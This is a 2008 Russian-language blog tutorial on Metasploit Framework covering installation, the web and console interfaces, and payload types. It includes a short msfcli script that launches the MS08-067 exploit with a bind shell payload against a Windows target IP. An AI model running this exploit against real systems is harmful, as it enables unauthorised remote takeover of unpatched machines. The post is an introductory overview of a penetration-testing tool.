Metasploit Framework. Обзор
Все наверное слышали о том что "виндовс дырявый". Многие уверены в этом, но совсем мало воспринимают это всерьез. Вот очередная статейка в стиле "ужаснись как все дыряво".
Metasploit Framework - каркас программ взлома, и коллекция этих самых "эксплоитов".
Эксплойт (exploit) - программа вызывающая сбой в программе-жертве, в результате которого достигается какое-то полезное действие. Например в результате некоторых сбоев (переполение стека) в память программы-жертвы попадает чужой код, и выполняется. Если программа-жертва запущена с наивысшими правами (root, "Администратор"), то и чужой код выполнится с теми же правами. А это уже самая настоящая атака на "повышение прав" или на захват удаленной системы.
Так вот, Metasploit Framework это каркас, библиотека, облегчающая создание эксплойтов. Слова "взлом", "вирус" я тут не использую, программа все же абсолютно легальная, и антивирусы не против.
Как написано на сайте разработчиков "Metasploit это лучший способ доказать начальству что пора что то менять". Ну или что пора переходить на Linux :)
Установка
Официальная инструкция по установке
Для начала понадобится самый новый Ruby. Причем ruby 1.8.7 не подойдет, он содержит ошибку, которую уже исправили в последнем стабильном снапшоте.
#устанавливаем заголовки от openssl
sudo apt-get install libssl-dev
#Качаем последнюю версию
wget ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz
#распаковываем
tar xf stable-snapshot.tar.gz
cd ruby
#устанавливаем
./configure&&make
sudo make install
#качаем svn-версию metasploit
cd ..
svn co http://metasploit.com/svn/framework3/trunk/ metasploit3
Как пользоваться
Самый красивый и показушный метод - web интерфейс, написаный на ruby on rails.
#запускаем web интерфейс (из распакованого metasploit)
После этого заходим на адрес http://127.0.0.1:55555 и пользуемся. Красиво, показушно, самое оно что бы напугать начальника. После запуска уязвимости доступ к удаленной консоли можно получить через кнопку Sessions.
Есть и более практичный консольный интерфейс.
Вот например код, который поражает Windows XP SP 0-1-2-3
#!/bin/bash
EXPLOIT=exploit/windows/smb/ms08_067_netapi
RHOST="RHOST=192.168.0.1"
PAYLOAD="PAYLOAD=windows/shell_bind_tcp"
./msfcli $EXPLOIT $RHOST $PAYLOAD E
MS08-067 это новейшая уязвимость в Windows XP - Vista, закрыть которую можно только специальным патчем (уязвимы все сервис паки). Т.е. выбирай любой компьютер с windows, и делай с ним что хочешь. Но как обычно, "я тут не причем", сначала получите разрешение у владельца компьютера-цели.
Payloads
__. .__. .__. __.
_____ _____/ |______ ____________ | | ____ |__|/ |_
/ \_/ __ \ __\__ \ / ___/\____ \| | / _ \| \ __\
| Y Y \ ___/| | / __ \_\___ \ | |_> > |_( <_> ) || |
|__|_| /\___ >__| (____ /____ >| __/|____/\____/|__||__|
\/ \/ \/ \/ |__|
=[ msf v3.2-any-day-now
+ -- --=[ 318 exploits - 200 payloads
+ -- --=[ 20 encoders - 6 nops
=[ 97 aux
"Полезные нагрузки", shellcode это код, который посылается на компьютер-жертву. Тут их огромный выбор. Например:
- windows/shell_bind_tcp открывает скрытую командную строку и подключается к ней
- windows/vncinject/bind_tcp - посылает vnc сервер, и открывает vncviewer. Дает полный контроль, мышка, клавиатура
- windows/meterpreter/bind_tcp - открывает собственный интерпретатор, с полезными функциями. Позволяет делать скрипты типа "покопаться в домашней папке и скачать все .jpg файлы"
Список доступных шеллкодов можно получить так:
EXPLOIT=exploit/windows/smb/ms08_067_netapi
./msfcli $EXPLOIT P
Итог
Metasploit Framework действительно лучший способ продемонстрировать чью то уязвимость. А еще это демонстрация того, что будет если подойти к разработке в "стиле Linux".
Пример "обычной программы" - kaht2. Для тех кто не знаком с этой программой, поясню. Kaht использует старую уязвимость, очень похожую на MS08-067, которая была в Windows XP SP0. Что в ней не нравилось? У нее были очень ограниченые возможности
- shellcode всего один, и не самый лучший
- Нет проверки версии windows, и если вдруг окажется неподходящая - то вместо проникновения получится падение всей системы (знаменитое окно "Компьютер перезагрузится через 60 секунд")
- Shellcode рассчитана на английскую версию Windows, и поэтому русские буквы не отображаются. И исправить никак
Что мы имеем в Metasploit Framework?
- Полная проверка версии Windows (используются готовые функции, никакой ручной работы)
- Куча шелкодов (все, которые подходят по размеру)
- Возможность изменить любую часть программы, потому что все с исходным кодом
Ссылки
Официальный сат
Metasploit на википедии
MS08-067
Википедия про переполнение буфера(на английском)
source: http://takeworld.blogspot.com/2008/11/metasploit-framework-1.html